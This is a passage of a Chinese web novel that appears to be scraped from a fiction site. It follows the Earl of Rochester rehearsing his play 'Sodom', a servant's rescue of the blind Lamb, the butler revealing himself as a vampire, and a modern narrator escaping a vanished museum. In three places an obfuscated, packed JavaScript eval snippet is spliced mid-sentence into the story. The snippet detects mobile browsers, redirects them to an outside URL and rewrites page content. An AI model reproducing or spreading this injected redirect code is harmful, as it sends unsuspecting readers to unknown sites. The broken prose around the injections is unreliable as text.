“不客气。”库里脸上带着微笑,为拉姆也倒满三分之二的葡萄酒,“这酒是从达尼的故乡——法兰西的波尔多送过来的。”他放下酒瓶,转而托起拉姆的左手,将酒杯送至他手心,“您慢慢享受。” 威尔默特扔下手里的羽毛笔,双手抓住面前一叠写满文字的纸猛地站起来,兴奋地朝拉姆走过去:“我写完了!”他大喊着,“拉姆,我写完了!这一定会传遍整个英格兰!” 库里识趣地让开,拿起葡萄酒瓶默默退出书房,替他们关好门。 威尔默特一把夺走拉姆正在“阅读”的书,将自己的剧本甩在他双膝上:“你快看看。”他见纸张被自己这一甩给弄乱了,又弯腰迅速整理好,捉起拉姆的手按在上面。 “《索多玛,或放荡的典范》。”随着指尖的移动,拉姆念出剧本的名字。 “对,就是索多玛,《圣经》中的罪恶之城索多玛。”威尔默特转身去拿自己的酒杯,豪饮一口,随后走过来,以剧本中国王的角色高声念着台词,“‘烧吧,上帝!我们将乘此烈焰,去天堂干翻天使!’。狂欢吧!呼喊吧!这是多么美妙的世界啊!” 这句台词正是剧本的结局,是他最满意的一句台词——虽然每句台词他都写得很满意。 他一口喝干杯中的酒,将空酒杯重重放在小圆桌上,俯下身捧起拉姆的脸:“拉姆,感谢你,我的诗句因你而诞生,我的灵魂也因你而获得救赎。我是不信上帝的,那样多可怜啊,就像我那可怜的母亲,一直活在统治者为她打造的牢笼里。但我现在却不得不感谢上帝,也感谢达尼。如果他没有将你比作天使,我或许就不会带着嘲笑的想法走进克缇尔的小礼堂。你看啊,那群教徒,一边宣称欲望是罪恶,又一边在十字架下贩卖欲望。” “‘野兽为生存而杀戮,人类却用欺诈伪装自相残害,并自欺欺人,为自己开脱。’。”拉姆背诵的这句是威尔默特的《讽刺理想与人类》。 听见自己的诗句从拉姆口中念出来,威尔默特兴奋无比,忍不住亲吻拉姆的额头,如同亲吻女士那洁白的手背一样:“若知识、智慧与思想终成枷锁,我宁可拥抱快乐的堕落,在疯狂中沉醉。我是自由的,而你,拉姆——不,拉姆先生,你同样是自由的。自由的灵魂,自由的身体,自由的思想。如果你要离开,就带我一起走吧,哪怕只是我的诗。” 拉姆“阅读”剧本的手指没有停下,纸面上细微的凹痕是威尔默特书写时倾注的全部热情,被他指尖敏锐的感觉一一读取,竟似乎于嘴角浮现出微笑。可再定睛仔细一瞧,又全然不是微笑。那颗许久许久不再敲击胸膛的心脏,在这一刻,因震撼而重新跳动。 “伯爵,这是……” 威尔默特又将拉姆喝过的那杯酒一饮而尽:“这部剧一定会成为旷世之作,被人永远记得。得抓紧时间让剧团进行排练了,开演的时候邀请国王来观赏,给他安排个特等座。” 拉姆静静地抚摸着威尔默特的手稿。 发现拉姆没接自己的话,威尔默特回过身看着他:“你是在担心国王会生气?” 沉默片刻,拉姆才说:“以我所知,国王一定会生气。” “嗯……”威尔默特沉思一会儿,认同了拉姆的想法,“看来我得准备好随时跑路。”他屈膝半跪在拉姆面前,托起他的手,“拉姆,你愿意和我一起逃离这个地方吗?” “约翰,你并不是真的想逃走,而是在与国王玩一个游戏。”拉姆好似看穿了威尔默特,“你知道国王看了这出剧后的反应,你也知道他不会对你怎么样。” 自己的所思所想被拉姆看穿,令威尔默特十分高兴。他站起身的时候顺便拿走拉姆双膝上的剧本手稿:“我当然知道,国王不会杀我,但会让我滚出他的视线范围。我或许会死于疾病、死于女人的嫉妒、死于教徒的偏激,但肯定不会死于查理二世的愤怒。” 拉姆也从椅子上站起来,拿起小圆桌上的两只空杯,慢慢走向威尔默特:“我希望你能死于幸福,或是安详。不要……重蹈覆辙……” “拉姆,我不是那个愚蠢的阿尔加,也不是你过去遇到的任何一个人,我无法回应你的期待。”威尔默特拿走拉姆手上的酒杯,“你也该早点忘记这个人,忘记过去,尽情享受你的无限生命。” 剧本:《索多玛,或放荡的典范》,很快便在伦敦的德鲁里巷皇家剧院进行排练,威尔默特作为监督亲自坐镇指导。许多演员因为剧本的情节对话实在过于荒诞污秽而愤然拒绝演出,其中包括饰演讽刺查理二世的重要角色——国王博洛希尼的男主角,于是威尔默特索性将这个角色交给了自己传言中的情人罗伯特。 英俊的罗伯特之所以不出名,最大的原因便是他的演技不被台下观众认可,当然,威尔默特也是不认可的。为了让他演好国王博洛希尼,威尔默特不得不对他进行单独的训练。 这里是搭建在罗切斯特庄园中的临时舞台——一间没人住的豪华卧室。为了营造出氛围,可以看见小树林的窗户拉上了窗帘,蜡烛从梳妆台摆到地面,像一面倾斜的花墙。威尔默特让罗伯特站在烛光摇曳里,一遍一遍反复念着国王的台词,并配合做出粗俗且癫狂的动作。 “不对,重来。”威尔默特坐在床边,翘着二郎腿,“你要露出享受欢愉的表情,迷恋地看着它。你渴望它,你带领着身边的臣子,一起与它跳舞。” 何其荒淫,何其不敬。 看完威尔默特写的这出戏剧,玛丽安得出的结论根本无法超越剧本本身的疯狂。她甚至已经放弃再对威尔默特进行任何规劝,与他大吵一架后气愤地带着行李回家了。 “约翰,你对神的亵渎一定会受到惩罚!你这个疯子!无可救药的蠢货!” “对,我是个疯子,可那又怎样?难道除了我,其他人就全都正常吗?”威尔默特面带戏谑的表情,藐视着玛丽安,“我告诉你,没有人是正常的,我们大家都是无可救药的蠢货,是疯子,包括你,玛丽安。” “约翰,你的作品一文不值!你的诗尽显你的愚蠢无知,你的著作是连老鼠都不会看一眼的废纸!” 玛丽安失望透顶,威尔默特毫不在意。 “库里,在大门上贴个字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248789|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条,写上‘神与蠢货不得入内’。” 库里没有答应,他知道伯爵只是想讽刺玛丽安小姐:“玛丽安小姐,我送您上马车。” “不用了,你还是好好看着那个疯子,别让他跑出去乱咬无辜的人。” 临走时,生气的玛丽安看了达尼一眼,随后双手提着行李箱大步走出房子。 到底是怎样的故事,才会惹恼那么多人? 达尼对伯爵写的剧本十分好奇,尽管他知道那绝不是自己可以看的,绝不是上帝会允许他看的。可他还是忍不住,等到旁观罗伯特排练的拉姆回到房间,他便在几番犹豫后找过去。 “拉姆先生……”达尼不安地搓着手,“你们是在排练戏剧吗?” “对。” “讲的是一个什么故事,可以告诉我吗?” 拉姆沉默片刻:“达尼,你相信神的存在吗?” 达尼握住胸前的十字架:“我相信主耶稣的存在,我们今天所获得的一切,都来自主的恩赐。” “那就不要去了解这个故事。” “是……和……”达尼的脸色十分难看,像是快要绝望了,“是和男人与、与……男人有关的故事吗?” “达尼,你一定对《圣经》很熟悉,也知道索多玛是个什么样的地方。”顿了顿,拉姆又道,“伯爵想表达的,或许你还无法理解,也或许,永远都无法理解。” 达尼连忙追问:“那您呢?您能理解吗?” 拉姆点点头:“我能理解。” 紧握十字架的手心传来疼痛的感觉,达尼害怕听拉姆先生亲口说出些什么,转头逃回自己房间不敢再继续追问。 被称为罪恶之地的索多玛是个耽迷男色的城市,人们贪图享受、行淫无度,甚至连来到这里的两位高贵天使都不愿意放过。所以主以烈焰,烧光了这座城。 而威尔默特书写的戏剧比这更加可怕。 国王博洛希尼宣布废除异性同房,立法实行“违背自然的爱”,要求子民以其他性别或是动物为对象,违者死。 贵族在欢呼、在享乐,被迫参与的农夫却只能哀叹:我们耕田,他们耕我们的妻儿。 污秽的词语、污秽的对白、污秽的动作、污秽的人心。拉姆的眼睛看不见,只能用指尖抚摸纸上的凹痕。可他还是从混乱的罪恶之语中,精准地发现威尔默特留在剧本里的暗意:索多玛没有被大火烧成灰烬,它就在这里。 “‘野兽般的欲望胜于人爱’。”威尔默特端着酒杯,在排练用的房间里高声朗诵。 夜晚房中的火光像《圣经》中描绘的那场从天而降的大火,包围着醉步虚浮的威尔默特。他转来转去摇摇晃晃的身影映在墙面上,既像圣火中痛苦挣扎的罪人,又像地狱里狂欢的恶魔。 “‘让断袖之欢统治一切,使索多玛之罪成为国教!’”他将杯中的酒一饮而尽,转身又走向桌子去抓装着葡萄酒的酒瓶。 站在一旁由着他自斟自饮的拉姆终于走过来,扶住威尔默特的胳膊以免他摔倒:“明天剧目开演,你要陪国王前往观看。” 威尔默特还是给自己倒了半杯,然后大口喝光。他扔掉手中的酒杯,拽着拉姆摇摇晃晃走到床边,忽然顺势扑下去。 “为我而生,你该是何等的更加迷人。”威尔默特俯看着身下的拉姆低声呢喃。 那双灰白色的瞳眸平静地与威尔默特对视,仿佛透过他疯魔的皮囊,看见了无声呐喊的灵魂。 17. 让我们在罪恶中成神 明天,是罗切斯特伯爵的剧作《索多玛,或放荡的典范》的第一次公演,男主角罗伯特最后的排练早已在傍晚时分结束。达尼亲眼看见库里先生送他离开庄园,所以绝不会有错。 如此一来,拉姆先生到现在都还没有回房间,就实在有些说不通了。 不知道为什么,达尼心中隐隐感到一丝不安,脑海中挥之不去的是威尔默特写的那首情诗——《致女人的爱》。字里行间毫不避讳的强烈爱意,正是达尼此刻所深深恐惧的。 如果玛丽安小姐说的都是真的,那这一切全都是他的罪过。是他在伯爵面前努力夸赞拉姆先生的美貌,是他不停向天主祷告让伯爵买下拉姆先生。 但也许,就如库里先生说的,这是个误会呢? 达尼掀开被子坐起身,拿起桌上的烛台走出房间。他知道用于排练的那间卧室在哪里,曾经也一度想跟过去看看,可是都被威尔默特冷漠地拒绝了。 沿着走廊转过一个弯,再走大约六七十步便可以看见通往三楼的楼梯。达尼心虚地放轻脚步,踮起脚尖,谨慎而缓慢地走上去,最终在即将到达那间客卧时,听到威尔默特激情澎湃的演出。在这寂静的夜晚里,威尔默特兴奋的声音是唯一的动静。 那些露骨的台词,即便是以取悦男人来营生的妓女也羞于说出口。 而尊贵的罗切斯特伯爵,却用享乐的语调高声畅言。 达尼的心脏猛烈跳动,手心冒出细汗。越是靠近那间卧室,他便越感到害怕,甚至想紧捂双耳立刻逃离这个地方。 主啊,请原谅他无法将罪恶之人指引到光明的地方。 房中突然不再有任何声响,达尼睁开紧闭的眼睛再次慢慢往前,来到房门外。凝神听了听,房里的确没有动静,达尼壮着胆子抬起左手,轻轻推开一条门缝。 烛光照亮整个房间,当然,不是达尼手上微弱的这一支。经过重新布置,家具已经不再是原来的布局。正中间的床被移到靠墙的地方,刚好通过门缝就能全部看见。 床尾,拉姆先生躺在上面,膝盖弯曲、双脚露在外头刚好踩着地面。而趴在他身上、用手指替他梳理头发的,是威尔默特。暖色火光里,两人间的气氛暧昧而平静。与威尔默特诗中所写的,截然不同。 可达尼还是推开门冲进去,扔掉手中的烛台奋力将威尔默特从床上拽下来,挡在拉姆身前:“您为什么要这样对待拉姆先生?!”他质问威尔默特,“玛丽安小姐说得一点没错,您是在亵渎天主,您会遭到报应的!” 醉酒的威尔默特尝试着站起来,对达尼怒吼:“谁让你进来的?!滚出去!库里!库里!!把这个小法国佬给我弄出去!” “拉姆先生,您还好吗?”达尼转头担心地将拉姆扶起来,“对不起,我该早点来的。” “我没事。”拉姆走到威尔莫特身边,将他从地面上拉起来,“达尼,你不该这么对伯爵。” 有一刹那,达尼甚至怀疑自己的耳朵,他不可置信地看着拉姆:“拉姆先生,我只是想救您……伯爵做的事是错的,天主不允许人类这么做……” 威尔默特推开拉姆,跌跌撞撞来到达尼面前,用力抓住达尼那双比他更加健壮的肩,恶狠狠笑道:“世界上如果真的有天主,他为什么不救救奴隶市场的黑人?因为非洲没有天主教吗?那他为什么不救救腐败堕落的英格兰?因为他喜欢这样的堕落吗?那又为什么不救救那些愚蠢龌龊的人?噢,我知道了,他正忙着听信徒们祷告呢!忙着看他的神父和漂亮的孩子睡觉,忙着听修女像妓女一样喘气!” “我不允许您这么侮辱天主!”面对比自己强壮许多的威尔默特,达尼此时更多的是愤怒,“即使您贵为伯爵,也不能侮辱主!” “哈哈哈!你给我听着,小法国佬,世界上没有神,有的只是人无止境的欲望。你等着瞧,等着瞧吧,无论你怎么祈祷,神都不会向你伸出手。因为他不存在!” 达尼紧紧握住胸前的十字架,闭上双眼颤抖着说:“伟大的主,我代替无礼的伯爵求您原谅,伯爵会明白您的无私与圣洁,阿门。” 威尔默特一把将达尼推倒在地,顺势坐在床边狂笑:“你看起来比玛丽安还蠢。” 拉姆将达尼挡在身后,似乎有些责备威尔默特:“约翰,你喝醉了。” “玛丽安小姐并不愚蠢!”达尼大声吼道,眼里全是愤怒。 威尔默特的酒渐渐醒了,他盯着达尼打量片刻,像是想到个什么好主意,抓住拉姆的手臂将他拉进怀里,嘴角勾着挑衅的笑:“你说你来救拉姆,可拉姆和我都是自愿的。”对上达尼错愕的目光,他像个赢得胜利的骄傲骑士,紧紧搂着怀中的战利品,“‘我爱上一个少年,他愿投入我怀中,任我轻柔拥抚,缠绵相傍,轻轻依偎,深情亲吻’。这是我写的诗,玛丽安读给你听过。你没有想过她为什么要读给你听吗?” 离开罗切斯特庄园,是保护拉姆先生最好的方法。不是吗,达尼? 达尼的脑海中回响起玛丽安为他朗读诗歌后说的话。当时他是怎么回答的? “你又能做什么呢?”威尔默特变得更加得意,“连我们伟大的国王查理二世都不能将拉姆与我分开,只是我仆人的你,能做什么?” 达尼用求助般的眼神看向拉姆,而拉姆的脸上没有任何表情,仿佛此刻的两人之间的争执与自己无关。平静得,近乎残忍。 达尼深吸一口气,用足以令威尔默特再次发笑的坚定眼神盯着他:“您不能亵渎神,也不能让拉姆先生亵渎神。” 果然,威尔默特听后哈哈大笑。 但是达尼不在乎,他已经下定了某种决心。 放满蜡烛的梳妆桌上,还有一瓶快要见底的葡萄酒。达尼狠狠擦了擦湿润的眼睛,转身走到桌前握住瓶颈拎起来,然后返回床边朝威尔默特的脑袋敲下去。 他的动作十分迅速,以至于拉姆根本来不及阻止。 确认伯爵还有鼻息后,达尼便拉起拉姆的手:“拉姆先生,我们走吧。” 尽管眼睛看不见,但拉姆还是能感觉到威尔默特仰面倒在床上的动作,以及酒瓶击中脑袋时发出的那声闷响。 “约翰?”拉姆伸出另一只手摸向威尔默特额头上的伤口。指尖的触感温热而黏腻——他太熟悉这种感觉了,“约翰,醒醒。” “别担心,拉姆先生,伯爵还活着。”达尼紧紧拽着拉姆,“但是您不能再继续待在这里了。您如果继续留在这里,下次,我可能真的会杀了伯爵,因为他在将您引向地狱。” 拉姆手上抚摸的动作停止了。他慢慢回过头面向达尼,仿佛正直勾勾盯着他看:“好,我们走。” 达尼没想到拉姆竟然这么快便答应,在怔愣片刻后露出微笑:“嗯!不过我们得小声一点,不能让库里先生发现。” 沉默片刻后,拉姆再次摸了摸威尔默特受伤的额头,从床上站起身。 达尼捡了根蜡烛用以照明,用空闲的那只手牵着拉姆,迅速走出房间,逃离了罗切斯特庄园。 夜晚的伦敦城没有太多光明,但赶路还是足够的。达尼知道城外的村庄里有一间很小的修道院,是他之前去圣保罗大教堂做弥撒时,从一位年轻的修女那里听到的。 与精美的圣保罗大教堂不同,那座小小的修道院十分破旧,只有一位神父和一位修女,却收养了许多孤儿。达尼觉得没有比这个修道院更适合拉姆先生生活了,没有肮脏的□□者,也没有残酷的压迫。 抵达修道院时已快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248790|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要天亮,黑夜即将迎来黎明。达尼认为这是个好兆头,预示着拉姆先生往后的日子将会无比幸福。 被敲门声吵醒的神父没有因为眼前的两名陌生人而生气,在听过达尼的请求后便欣然接受了拉姆,并为他们准备好一顿与丰盛毫不相干的早餐。达尼如同往常一样,一边吃一边与拉姆聊天,假意昨晚什么也没发生。 最后,他取下挂在脖子上的十字架放在拉姆手掌心:“愿主保佑您。” 拉姆似乎明白这是即将要离别的意思:“你要回罗切斯特庄园?” “是的。”达尼点点头,“我还欠伯爵二十八英镑。拉姆先生,您欠伯爵的钱,我也会一起替您还的。我还不完,就让我的孩子继续还。” “达尼——” “我知道伯爵其实不是坏人,所以我要回庄园继续为他做事。”达尼的眼中泛起泪光,“所以,我以后不能再和您聊天了。拉姆先生,我会想您的。” 拉姆将达尼赠送给自己的十字架挂在脖子上,伸出手抚摸着达尼的脑袋:“我会永远记得你,达尼。” “我也是。再见,拉姆先生。” 拉姆有种预感,这将是他们最后一次聊天。 离开修道院的达尼忽然停下来,回过身大声说道:“拉姆先生,我认为生命是神准许我们相遇。”说完他用力挥了挥手臂,头也不回地离开。 再次回到罗切斯特庄园,德鲁里巷皇家剧院已经落下帷幕。达尼从女仆艾米莉亚的口中听到一个消息:国王查理二世将罗切斯特伯爵流放了。 国王的愤怒可想而知,这并不是个出乎人意料的结果,但凡看了那出《索多玛,或放荡的典范》的人,都能猜到,包括威尔默特自己。他坐在客厅里喝着葡萄酒,头上抱着纱布,脸上没有丝毫对流放的恐惧。 酒瓶没有给威尔莫特留下太大的伤口,医生说这简直可以称得上是奇迹。但是管他呢,他又没有死,反而是那些盼着他死的人才会在意。 年长的女仆为他收拾好行礼,他便留下库里独自一个人坐上马车,潇洒地走了。这十分反常,可即使库里百般要求同行,最后也都被威尔默特强硬地拒绝。 回来的达尼没有和威尔默特见上一面,他心里虽然仍为昨晚的事感到忐忑,但也有着内疚。正如他对拉姆先生所说的那样,伯爵并不是个坏人。 “库里先生。”达尼找到库里的房间,想坦白自己昨晚的罪过,“我——” “拉姆先生在哪里?”库里不想听他废话,“是你带走了他。” 达尼点头承认:“是我带走了拉姆先生,但我不会说出他的下落。” 库里背过身去,走到桌前,脱下手套:“那你回来做什么?” “我还欠着伯爵钱,包括拉姆先生那份,我会努力工作来还的。” “所以你是相信了别人的鬼话?” “不,我是亲眼看见伯爵对拉姆先生……” 库里似乎冷笑了一声:“约翰不是外界想象的那样。的确,他浪荡、出格、疯狂,不服管教。你们以为他喜欢漂亮的男人,喜欢美丽的少年,说他的诗来自他与男人的实践和对男人的渴望。呵……真正渴望男人和□□的不是约翰,而是以查理二世为首的那些权贵们。” 当库里转过身来时,眼睛已全然变成血红之色。 达尼吓得后退一步:“库里先生,您、您这是要做什么?” “约翰·威尔默特是位伟大的诗人,他挑衅这个世界,也在挑衅人性的丑恶。约翰的诗,连他的妻子伊丽莎白都读不懂其中的意义。”库里慢慢走向达尼,逼得他只能后退,“他迫切需要一位理解者,拉姆先生的出现多么令他愉快啊,我看得出来。可你毁了这一切,达尼,你毁了我的计划。” 18. 消失的博物馆 库里将达尼逼至墙角,左手死死捂住他的嘴,歪头狠狠咬在他颈部的动脉上。 咕。 耳边传来吞咽的声音。 最初的剧痛过后,随着鲜血不断被吸食,浑身的力气也慢慢消失。库里松手后退,半眯起眼睛,表情甚是满足。达尼的身体贴着墙壁瘫软下滑,坐在地上,他瞪着一双惊恐错愕的眼睛,直勾勾看着一步一步往后退的库里——他的舌尖正在舔舐嘴角流下的鲜血,达尼的鲜血。 库里收起森白的獠牙,拿出口袋里叠放整齐的手帕,轻轻将嘴唇擦拭干净,随后他扯下自己床上的毯子在地板上铺开,走回达尼身边抱起他,放在毯子中间。 达尼还活着,嘴里不断发出含糊的声音,用最后的力气抓住库里的衣袖。眼泪滚落下来,是达尼最后的恳求。 他还不想死,主啊,他还不想死。 库里叹口气蹲下来,握住达尼粗糙的手,将它从自己的衣袖上拽下来:“达尼,你不该放走我的猎物。” 此时的库里犹如又是那个彬彬有礼的库里先生,微笑着安抚对死感到恐惧的达尼,直到他累得闭上眼睛,才用毯子裹住他的身体。 ———— 黑暗褪去,随之而来的是展厅中明亮的光。 刺眼。 赵义之重重叹口气,将十字架轻轻放回原位,怜爱地摸了摸十字架,就像在摸那名可怜的法国少年,带着对这座博物馆的疑惑离开房间。 如果他每次触摸这里的展品,就会被拉入与之相关的时光,或者说是受到催眠洗脑,是否意味着也存在某种解除催眠的安全阀? 是的,在赵义之心里,这就是一场诡异的催眠。除此之外,别无解释。 空荡的走廊上回响着赵义之的脚步声,显得博物馆内异常安静。他走到隔壁的展室门外,透过门上镂空的缝隙朝里看,不敢再轻易推门进去碰那些东西。 “赵义之。” 身后忽然传来男人的声音,赵义之被吓了一跳,他猛地回过脑袋,缩手缩脚的样子实在好笑。 他身后的男人笑了。 男人的脸长得和馆主一模一样,但浅蓝色的眼睛炯炯有神,看起来完全不像个瞎子。赵义之甚至不需要仔细打量,就能断定他不是馆主。 “你想离开这里,我可以帮忙。”男人向赵义之伸出手,脸上带着平易近人的笑容,“跟我走吧。” 谨慎的赵义之下意识想避开眼前的男人,比起馆主,他对这个男人有种莫名的恐怖。赵义之不仅没有接受,反而往后退了两步,说:“不如……你先告诉我你是谁,我再考虑要不要跟你走。” “我?”男人像是被问住,竟托起下巴沉吟起来,“你可以把我当做拉姆。” 赵义之听得皱了下眉头。他在催眠里看见的拉姆明明和馆主一样,是个不懂人情世故的瞎子。他的眼睛忽然瞥见男人垂直的金色长发,打趣道:“进入二十一世纪新社会,你也学会烫头发了。” 男人露出一丝疑惑,接着幡然醒悟,手指勾过一缕头发看了看,笑着回应:“看来骗不了你。好吧,我介绍一下自己。我叫阿卡夏,是拉姆的……同胞兄弟。” “你好你好。”赵义之陪着笑脸,丝毫没有放松警惕,“你说可以帮我离开这里?我确认一下,你这个‘离开’的意思,应该是让我活着离开吧?” 阿卡夏被赵义之逗得哈哈大笑:“很遗憾,我无法直接夺取生命。” 遗憾? 遗憾?? 赵义之又往后退两步,确保自己能在阿卡夏发起攻击的第一时间拉开安全距离:“呃那个……先说说你的方案,我评估评估。” “方案是你牵着我的手。”阿卡夏再次朝赵义之伸出手。 赵义之露出古怪的笑:“两个男人牵手……会不会太亲密了?” 阿卡夏向他走过来:“你被拉姆困在了博物馆,只要牵着我的手,立刻就能出去,不用浪费时间找什么大门。”似乎看出赵义之还有迟疑,他又说,“你已经被拉姆关在这里很久了,没有我的帮忙永远都出不去。不如赌一把,怎么样?我若要害你,怎么会浪费时间和你聊天呢?” “有点道理……”赵义之喃喃自语。眼下似乎除了赌一把相信阿卡夏,也没有其他更好的选择,“行吧,我——” “不行。” 随着冰冷的两个字音在走廊上响起,赵义之眼前的空间出现明显的扭曲,先是膨胀,接下来又骤然收缩,最后只出一个豌豆大小的白点。然而当白点出现时,它周围的空气、浮尘乃至光线,全都被排斥,呈现出若隐若现的漩涡。赵义之只觉得惊奇,并没有感到任何不适,而阿卡夏却急速后退至五米开外。 “呼~”阿卡夏长舒一口气,说,“不必每次都闹出这么大的动静。” 刹那间,白点变成一道人的身影,挡在赵义之前面。深绀色中山装,体型消瘦,浅棕色的卷发绑在脑后。 是馆主。 赵义之被他的登场方式镇住,情不自禁说了句脏话:“靠……牛逼。” “你先去旁边的房间躲避,我来和他谈。”馆主淡漠地说。 虽然从穿着及气场来看,眼前的男人的确是馆主,也是拉姆,但赵义之仍旧不太确定拉姆是在对谁说话,没有挪动脚步。确切来说,他还在为馆主的凭空出现而震惊。那可不是魔术师大变活人就能一言蔽之的。 赵义之默默掐了一把自己的大腿,疼。 “好久不见,拉姆。”阿卡夏笑着打招呼。他刚往前走一步,拉姆便挡着赵义之往后退两步。 赵义之不是个迟钝的人,自然看出来他们对彼此都有戒备——或者是怕? “到展室去。”拉姆这次稍微转了一点头,明确地对赵义之说,“我忙完这边的事带你出去。” 赵义之看了看对面歪头冲自己笑的阿卡夏,严肃地对拉姆说:“给我一个相信你的理由。” 拉姆回过头去,似乎显露出一分不耐烦:“没有理由。” “好吧。”赵义之还是听话地走进旁边的房间,将门关好。 阿卡夏以为是赵义之没听明白,大声向他说明:“拉姆说的‘没有理由’,你是不是没听清?” 门上是镂空的木雕花,赵义之只需要站在那里就能看见外面的情况。 并非赵义之有多相信拉姆,而是比起嬉皮笑脸的阿卡夏,简单相处过一段时间的拉姆看起来更老实。或者说,是他看见的两段回忆里的拉姆,都给人一种“空白”的感觉,好像没有情绪,只是机械地存在。 虽然所谓的“回忆”也有可能是催眠之下的产物,不过二选一,肯定是选拉姆。 “真可惜。”阿卡夏长叹一声,故意提高声量,“只差一点点,我就能带赵义之离开了。” 拉姆没有做出反驳,抬起手在面前轻轻一点,指尖落下的地方便开始收缩、膨胀,随后出现一个豌豆大小的黑点,吸引着空气中的浮尘扭出漩涡。 局势已经十分明了,阿卡夏没再像之前一样立刻后退,反倒径直绕过黑点来到拉姆面前,突然抱住他:“拉姆,可怜的拉姆,被神抛弃的拉姆,被信徒背叛的拉姆,这一切都是我对你的报复,也是我对你的救赎。让我们一起解脱吧。彻底打开记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248791|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 录大厅,我保证,一定能找到解脱的办法。” 拉姆垂在身体两侧的手抖了一下,似乎内心也在挣扎:“解脱……” “对,解脱。”以为拉姆上钩的阿卡夏再次浮起笑容,“正是你一直以来的心愿。” “阿卡夏,在你看来,生命是什么?” “是痛苦,是折磨,是绝望。”阿卡夏咬牙切齿地说。“生命没有任何意义。” “如果没有意义,我们为什么存在?即使没有意义,我们还是存在。”拉姆一边说着,一边扩大黑点,让其逐渐变成球状的东西。 察觉到拉姆正将黑点引过来,阿卡夏反而低声笑了:“你知道这么做没有意义,我和你都是不灭的。” “只要阻止你缔结执行者就够了。”拉姆一把将阿卡夏推向黑球。 然而,在身体即将被黑球吞噬前,阿卡夏想到个好主意,眼神中满是惊喜:“拉姆,你一定会来救我,我敢打赌。” “不会。”拉姆冷漠说道。 “你会。” 凭阿卡夏的能力,并不是无法逃离黑球。直到他被吞噬殆尽的前一刻,拉姆都做好了随时应对的准备。可阿卡什么都没做,随着黑球迅速缩小,最后不复存在。拉姆没有因此感到安心,相反,一种不好的预感油然而生。 “我应该没有信错人吧?” 刚才的一切全被扒在门边的赵义之看在眼里,不过他并未表现出惊讶,见拉姆转身向自己所在的展室走来,淡定打开门,似笑非笑地盯着拉姆。 拉姆摘下墨镜,灰白色的眼睛迎上赵义之的目光:“你没有。” 他那双明明什么都看不见的眼睛仿佛具有魔力,让赵义之被深深吸引,不由自主就忘记自己此时身在何处。 周围的建筑骤然之间变得像水中滴落的彩色墨水,逐渐沉底、变得混沌,最终相互糅杂变成灰色。 “赵先生,好久不见。” 清丽的声音宛若玉石摔在玻璃上,一下子净去杂音。赵义之从无我之境醒过来,一点一点听见虫子的嘶鸣,也将漫山的树与杂草收入眼底。世界的真实在此刻展现得淋漓尽致,连他自己都变得真实起来。 终于出来了! “赵先生?”阴女见他似乎在发呆,便将脸凑过来,关心地问,“您还好吗?” “阴女?”赵义之定睛看看眼前的女人,又转头朝身后看去。 原本应该有一座镶着红色雕花大门的博物馆坐落在这里的,可眼前除了一棵比一棵高大茂盛的树,哪里还有什么博物馆。他惊讶地在附近转了几圈。如果阴女和拉姆没有在这里,恐怕他又要怀疑自己这是被催眠了。 赵义之走到拉姆面前,着急地问:“博物馆呢?这里明明有座博物馆,你是馆主,我来借宿。现在怎么不见了?那么大一座博物馆,拆也拆不了这么快啊。” “五年不见,您还是一点没变。” “什么?”赵义之困惑地回头看向阴女,“什么五年,我们今早才见过。” 阴女抬起左手掩面笑着说:“那已经是五年前的事了。我今日来,是准备参加下一次宴会的。可来了一看,这……”她说着抬眼看向拉姆,也是一脸疑惑,“馆主,博物馆怎么没了?” “等等,我现在有点乱。”赵义之做了几个深吸,努力让自己保持冷静,“先从第一件事开始。现在是2020年的六月十八号……不对,过了一天,应该是十九号。今天是2020年的六月十九!对吧?” “不对。”阴女摇摇头,“今天是2025年的六月十八号,赵先生开车送我来博物馆的整整五年后。” 19. 都不是人 “您还记得吗,您那年在走廊上醒过来,我和您道别时说的,五年后再见。” “不不,我刚刚才在博物馆里看见台历,上面很清楚印着2020年。”赵义之不敢相信,也不愿意相信,“我确定是2020年!” 他清楚记得自己在博物馆里只待了一个晚上和半个白天,绝不可能有五年这么久。他忽然想起什么,神情从不解不信瞬间变为错愕,而后又逐渐失落,精彩纷呈。拉姆曾说过,只要七日内他想起来,就能离开博物馆。如果真的已经过去五年,是否意味着他没有在时限内想起来? “馆主,今年的宴会是不是办不成了?”阴女手中还抱着用布仔细包好的鹿肉。 “办不成了。” 阴女看向原本博物馆所在的位置,眼中的神情难以言喻:“其他的记录也都没了?” 拉姆点点头:“嗯。” “您有什么打算?” 